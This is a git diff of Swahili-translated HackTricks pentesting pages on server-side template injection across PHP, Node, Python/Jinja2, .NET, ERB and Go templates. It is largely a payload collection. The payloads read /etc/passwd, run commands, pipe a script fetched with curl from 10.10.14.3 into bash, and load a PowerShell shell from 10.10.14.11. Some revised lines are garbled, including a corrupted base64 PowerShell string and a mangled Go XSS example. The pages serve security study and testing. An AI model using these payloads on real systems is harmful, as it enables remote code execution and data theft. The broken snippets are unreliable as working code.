@ -663,7 +570,8 @@ echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**Maelezo zaidi**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
### Jade (NodeJS)
```javascript
@ -683,7 +591,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) ni injini ya templeti ya PHP ambayo haijatumiwa kwa kubadilisha, inatumia vitambulisho vya XML kuigawa hati katika sehemu tofauti
> [patTemplate](https://github.com/wernerwa/pat-template) injini ya templeti ya PHP isiyokompili, ambayo hutumia vitambulisho vya XML kugawa hati katika sehemu tofauti.
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -696,11 +604,12 @@ Hello {NAME}.<br/>
</patTemplate:tmpl>
```
**Maelezo zaidi**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
### Handlebars (NodeJS)
Ufuatiliaji wa Njia (taarifa zaidi [hapa](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
Ufuatiliaji wa Njia (maelezo zaidi [hapa](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
@ -739,10 +648,10 @@ URLencoded:
| **Kigezo** | **Maelezo** |
| ------------ | --------------------------------------- |
| | Tathmini na toa matokeo |
| | Tathmini na toa matokeo yaliyofichwa kwenye HTML |
| | Kutathmini na kutoa matokeo |
| | Kutathmini na kutoa matokeo yaliyofungwa kwa HTML |
| | Maoni |
| na | Ruhusu nambari (imelemazwa kwa chaguo-msingi) |
| na | Kuruhusu nambari (imelemazwa kwa chaguo-msingi) |
* \= 49
@ -750,7 +659,7 @@ URLencoded:
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Upande wa Seva**
**Upande wa Server**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
@ -764,7 +673,7 @@ URLencoded:
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Mfano wa upande wa seva wa kuchora**
**Mfano wa upande wa seva**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
@ -792,7 +701,7 @@ home = pugjs.render(injected_page)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Kosa`
* `<%= foobar %> = Error`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
@ -820,7 +729,7 @@ home = pugjs.render(injected_page)
### Python
Angalia ukurasa ufuatao ili kujifunza mbinu za **utekelezaji wa amri za kiholela kwa kuzidisha sanduku la mchanga** katika python:
Angalia ukurasa ufuatao kujifunza mbinu za **utekelezaji wa amri za kupita kwenye mifumo ya kinga** katika python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -842,17 +751,19 @@ Angalia ukurasa ufuatao ili kujifunza mbinu za **utekelezaji wa amri za kiholela
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Maelezo zaidi**
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
### Jinja2 (Python)
[Tovuti rasmi](http://jinja.pocoo.org)
> Jinja2 ni injini kamili ya templeti kwa Python. Inaunga mkono unicode kamili, mazingira ya utekelezaji yaliyosanifishwa kwa hiari, inatumika sana na leseni ya BSD.
> Jinja2 ni injini kamili ya templeti kwa Python. Inaunga mkono unicode kamili, mazingira ya utekelezaji yaliyotengenezwa kwa usalama, hutumiwa sana na leseni ya BSD.
* `{{7*7}} = Kosa`
* `${7*7} = ${7*7}`
@ -871,49 +782,12 @@ Angalia ukurasa ufuatao ili kujifunza mbinu za **utekelezaji wa amri za kiholela
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Muundo wa Kigezo**
Jinja2 ni injini ya kigezo inayotumiwa sana katika maendeleo ya wavuti. Inaruhusu watengenezaji kuunda na kusimamia vigezo vya wavuti kwa njia rahisi na yenye nguvu. Jinja2 hutumia sintaksia ya kipekee ili kuwezesha uingizaji wa data ndani ya templeti za wavuti.
**Kuingiza Kigezo cha Upande wa Seva (SSTI)**
Kuingiza Kigezo cha Upande wa Seva (SSTI) ni njia ya kudhibiti programu ya wavuti kwa kuingiza kanuni ya programu ndani ya kigezo cha Jinja2. Hii inaweza kusababisha utekelezaji wa kanuni ya hatari kwenye seva ya wavuti, na hivyo kusababisha ukiukaji wa usalama.
**Mbinu za Kuingiza Kigezo cha Upande wa Seva (SSTI)**
Kuna njia kadhaa za kuingiza Kigezo cha Upande wa Seva (SSTI) katika programu ya wavuti. Baadhi ya mbinu maarufu ni pamoja na:
1. Kuingiza kigezo cha Jinja2 moja kwa moja: Hii inahusisha kuingiza kigezo cha Jinja2 moja kwa moja katika sehemu ya kuingiza ya programu ya wavuti.
2. Kuingiza kigezo cha Jinja2 kupitia faili ya nje: Hii inahusisha kuingiza kigezo cha Jinja2 kupitia faili ya nje ambayo inaweza kudhibitiwa na mtumiaji.
3. Kuingiza kigezo cha Jinja2 kupitia maingiliano ya mtumiaji: Hii inahusisha kuingiza kigezo cha Jinja2 kupitia maingiliano ya mtumiaji, kama vile fomu za mtumiaji au vigezo vya URL.
**Madhara ya Kuingiza Kigezo cha Upande wa Seva (SSTI)**
Kuingiza Kigezo cha Upande wa Seva (SSTI) kunaweza kusababisha madhara makubwa kwa usalama wa programu ya wavuti. Baadhi ya madhara yanayowezekana ni pamoja na:
1. Utekelezaji wa kanuni ya hatari: Kuingiza SSTI inaweza kusababisha utekelezaji wa kanuni ya hatari kwenye seva ya wavuti, ambayo inaweza kusababisha uharibifu wa data au kudhibitiwa kwa seva.
2. Kuvuja kwa habari nyeti: Kwa kuingiza SSTI, mtumiaji anaweza kupata habari nyeti kama vile nywila au ufikiaji wa seva.
3. Ukiukaji wa usalama: Kuingiza SSTI inaweza kusababisha ukiukaji wa usalama wa programu ya wavuti, ambayo inaweza kuathiri sifa na imani ya kampuni.
**Kuzuia Kuingiza Kigezo cha Upande wa Seva (SSTI)**
Kuzuia Kuingiza Kigezo cha Upande wa Seva (SSTI) ni muhimu kwa usalama wa programu ya wavuti. Baadhi ya hatua za kuzuia ni pamoja na:
1. Kufuatilia na kusasisha matoleo ya Jinja2: Kuhakikisha kuwa matoleo ya Jinja2 yanayotumiwa ni ya hivi karibuni na yameboreshwa kwa usalama.
2. Kudhibiti kuingiza kigezo: Kuzuia kuingiza kigezo cha Jinja2 moja kwa moja au kupitia faili ya nje ambayo inaweza kudhibitiwa na mtumiaji.
3. Kufanya ukaguzi wa usalama: Kufanya ukaguzi wa usalama wa kina ili kugundua na kurekebisha mapungufu yoyote ya usalama yanayohusiana na SSTI.
Kwa kuzingatia hatua hizi za kuzuia, inawezekana kupunguza hatari ya kuingiza Kigezo cha Upande wa Seva (SSTI) na kuhakikisha usalama wa programu ya wavuti.
**Jinja2 - Muundo wa Template**
```python
{% raw %}
{% extends "layout.html" %}
@ -928,7 +802,7 @@ Kwa kuzingatia hatua hizi za kuzuia, inawezekana kupunguza hatari ya kuingiza Ki
```
[**RCE isiyotegemea**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
[**RCE isiyo tegemezi na**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
@ -945,7 +819,7 @@ Kwa kuzingatia hatua hizi za kuzuia, inawezekana kupunguza hatari ya kuingiza Ki
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
Mizigo mingine katika [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
Payloads nyingine zinapatikana katika [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
### Mako (Python)
```python
@ -956,6 +830,7 @@ x=os.popen('id').read()
${x}
```
**Maelezo zaidi**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Razor (.Net)
@ -967,11 +842,11 @@ ${x}
* `@{} <= KOSA!`
* `@{ <= KOSA!`
* `@(1+2)`
* `@( //C#Code )`
* `@( //Msimbo wa C# )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AbQBlAHQANgA0AC4AGUAeABlAA==");`
Mfumo wa .NET `System.Diagnostics.Process.Start` unaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti inayoweza kudhurika katika [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
Mbinu ya `.NET` ya `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti inayoweza kudhurika katika [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Maelezo zaidi**
@ -983,7 +858,7 @@ Mfumo wa .NET `System.Diagnostics.Process.Start` unaweza kutumika kuanzisha mcha
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Hakuna kitu
* `<%= response.write(date()) %>` = \<Tarehe>
* `<%= response.write(date()) %>` = \<Date>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
@ -993,7 +868,7 @@ Mfumo wa .NET `System.Diagnostics.Process.Start` unaweza kutumika kuanzisha mcha
### Mojolicious (Perl)
Hata kama ni perl, inatumia vitambulisho kama ERB katika Ruby.
Hata kama ni perl inatumia vitambulisho kama ERB katika Ruby.
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Kosa`
@ -1005,23 +880,21 @@ Hata kama ni perl, inatumia vitambulisho kama ERB katika Ruby.
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa na mizigo maalum:
* `{{ . }}`: Inafunua muundo wa data ya kuingiza. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapitishwa, `{{ .Password }}` inaweza kuifunua.
* `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha herufi "ssti".
* `{{html "ssti"}}`, `{{js "ssti"}}`: Mizigo hii inapaswa kurudisha "ssti" bila kuongeza "html" au "js". Maagizo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
* `{{ . }}`: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kimepita, `{{ .Password }}` inaweza kuifunua.
* `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha mfuatano "ssti".
* `{{html "ssti"}}`, `{{js "ssti"}}`: Mizigo hii inapaswa kurudisha "ssti" bila kuongeza "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
**Udanganyifu wa XSS**
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza mizigo moja kwa moja. Kwa upande mwingine, pakiti ya `html/template` inakodisha majibu ili kuzuia hii (kwa mfano, `{{"<script>alert(1)</script>"}}` inatoa `&lt;script&gt;alert(1)&lt;/script&gt;`). Walakini, ufafanuzi na wito wa templeti katika Go unaweza kuepuka uandikishaji huu:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
Kwa pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza mizigo moja kwa moja. Kinyume chake, pakiti ya `html/template` inakata majibu ili kuzuia hili (k.m., `{{"<script>alert(1)</script>"}}` inatoa `&lt;script&gt;alert(1)&lt;/script&gt;`). Walakini, ufafanuzi wa templeti na wito katika Go unaweza kuepuka usimbaji huu: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet
Copy code
vbnet Copy code
**Udanganyifu wa RCE**
Udanganyifu wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya "wito"), ambayo hairuhusiwi katika `html/template`. Nyaraka kwa moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
Udanganyifu wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya "call"), jambo ambalo haliruhusiwi katika `html/template`. Nyaraka kwa moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
Kwa RCE kupitia SSTI katika Go, njia za vitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina njia ya `System` inayotekeleza amri, inaweza kutumika kama `{{ .System "ls" }}`. Kupata nambari ya chanzo kwa kawaida ni muhimu ili kutumia hii, kama katika mfano uliotolewa:
Kwa RCE kupitia SSTI katika Go, njia za vitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina njia ya `System` inayotekeleza amri, inaweza kutumiwa kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi ni muhimu kudanganya hili, kama katika mfano uliotolewa:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -1033,20 +906,20 @@ return string(out)
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Mashambulizi Zaidi
### Mbinu Zaidi za Uvamizi
Angalia sehemu iliyobaki ya [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kwa mashambulizi zaidi. Pia unaweza kupata habari za vitambulisho vya kuvutia katika [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kwa mbinu zaidi za uvamizi. Pia unaweza kupata habari za vitambulisho vya kuvutia katika [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
## Msaada Unaohusiana
## Msaada Husika
Ikiwa unafikiri inaweza kuwa na manufaa, soma:
Ikiwa unadhani inaweza kuwa na manufaa, soma:
* [Mbinu za Flask](../../network-services-pentesting/pentesting-web/flask.md)
* [Python magic functions](broken-reference/)
* [Funguo za Uchawi za Python](broken-reference/)
## Zana
@ -1055,7 +928,7 @@ Ikiwa unafikiri inaweza kuwa na manufaa, soma:
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## Orodha ya Uchunguzi wa Brute-Force
## Orodha ya Kugundua Kwa Nguvu
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
@ -1067,20 +940,20 @@ Ikiwa unafikiri inaweza kuwa na manufaa, soma:
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **kukuza maarifa ya kiufundi**, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila uwanja.
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -32,9 +32,9 @@ app.run()
```
## **Misc**
### **Kauli ya Kurekebisha Hitilafu**
### **Kauli ya Uchunguzi**
Ikiwa Kifaa cha Kurekebisha Hitilafu kimeamilishwa, lebo ya `debug` itapatikana ili kutoa muktadha wa sasa pamoja na vichujio na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumia kwenye kigeuzi bila kuweka kifaa cha kurekebisha.
Ikiwa Kifaa cha Uchunguzi kimeanzishwa, lebo ya `debug` itapatikana kwa kudump muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumika kwenye kigezo bila kuweka debugger.
```python
<pre>
@ -43,11 +43,10 @@ Ikiwa Kifaa cha Kurekebisha Hitilafu kimeamilishwa, lebo ya `debug` itapatikana
{% endraw %}
</pre>
```
Chanzo: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
### **Tiririka maelezo yote ya mipangilio ya konfiga**
### **Mwaga pembejeo zote za usanidi**
```python
{{ config }} #In these object you can find all the configured env variables
@ -58,15 +57,16 @@ Chanzo: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
```
## **Uingizaji wa Jinja**
Kwanza kabisa, katika uingizaji wa Jinja unahitaji **kupata njia ya kutoroka kutoka kwenye sanduku la mchanga** na kupata upatikanaji wa mtiririko wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji **kutumia vitu** ambavyo **vinatoka** kwenye **mazingira yasiyokuwa ya sanduku la mchanga lakini vinapatikana kutoka kwenye sanduku la mchanga**.
Kwanza kabisa, katika uingizaji wa Jinja unahitaji **kupata njia ya kutoroka kutoka kwa sanduku la mchanga** na kupata upya ufikiaji wa mtiririko wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji **kutumia vitu** ambavyo **vinatoka** kwa **mazingira yasiyo na sanduku la mchanga lakini vinapatikana kutoka kwa sanduku la mchanga**.
### Kupata Upatikanaji wa Vitu vya Kimataifa
### Kupata Vitu vya Kitaifa
Kwa mfano, katika nambari `render_template("hello.html", username=username, email=email)` vitu username na email **vinatoka kwenye mazingira ya python yasiyokuwa ya sanduku la mchanga** na vitakuwa **vinapatikana** ndani ya **mazingira ya sanduku la mchanga**.\
Zaidi ya hayo, kuna vitu vingine ambavyo **vitakuwa vinapatikana daima kutoka kwenye mazingira ya sanduku la mchanga**, hivi ni:
Kwa mfano, katika nambari `render_template("hello.html", username=username, email=email)` vitu vya jina la mtumiaji na barua pepe **vinatoka kwa mazingira ya python yasiyo na sanduku** na vitapatikana ndani ya **mazingira ya sanduku**.\
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **vinapatikana daima kutoka kwa mazingira ya sanduku**, hivi ni:
```
[]
''
@ -77,9 +77,9 @@ request
```
### Kurejesha \<class 'object'>
Kisha, kutoka kwa vitu hivi tunahitaji kupata darasa: **`<class 'object'>`** ili kujaribu **kurejesha** darasa zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengele hiki tunaweza kuita njia ya **`__subclasses__`** na **kupata ufikivu wa darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku.
Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: **`<class 'object'>`** ili kujaribu **kurejesha** **darasa** zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengee hiki tunaweza kuita njia ya **`__subclasses__`** na **kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku**.
Ili kupata **darasa la kipengele** hicho, unahitaji **kufikia kipengele cha darasa** na kisha ufikie **`__base__`**, **`__mro__()[-1]`** au `.`**`mro()[-1]`**. Na kisha, **baada ya** kufikia **darasa hili la kipengele**, tunaita **`__subclasses__()`**.
Ili kufikia **darasa la kipengee** hicho, unahitaji **kufikia kipengee cha darasa** na kisha ufikie **`__base__`**, **`__mro__()[-1]`** au `.`**`mro()[-1]`**. Na kisha, **baada ya** kufikia **darasa hili la kipengee** tunaita **`__subclasses__()`**.
Angalia mifano hii:
```python
@ -116,23 +116,24 @@ dict.__mro__[-1]
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### Kuepuka RCE
### Kutoroka RCE
**Baada ya kupata** `<class 'object'>` na kuita `__subclasses__` sasa tunaweza kutumia darasa hizo kusoma na kuandika faili na kutekeleza nambari.
**Baada ya kupata** `<class 'object'>` na kuita `__subclasses__` sasa tunaweza kutumia classes hizo kusoma na kuandika faili na kutekeleza nambari.
Wito wa `__subclasses__` umetupa fursa ya **kufikia mamia ya kazi mpya**, tutafurahi tu kwa kufikia **darasa la faili** ili **kusoma/kuandika faili** au darasa lolote lenye ufikiaji wa darasa ambalo **inaruhusu kutekeleza amri** (kama vile `os`).
Wito kwa `__subclasses__` umetupa fursa ya **kupata mamia ya kazi mpya**, tutafurahi kwa kufikia **darasa la faili** ili **kusoma/kuandika faili** au darasa lolote lenye ufikiaji wa darasa linalo **ruhusu kutekeleza amri** (kama vile `os`).
**Soma/Andika faili kwa mbali**
**Soma/Andika faili za mbali**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
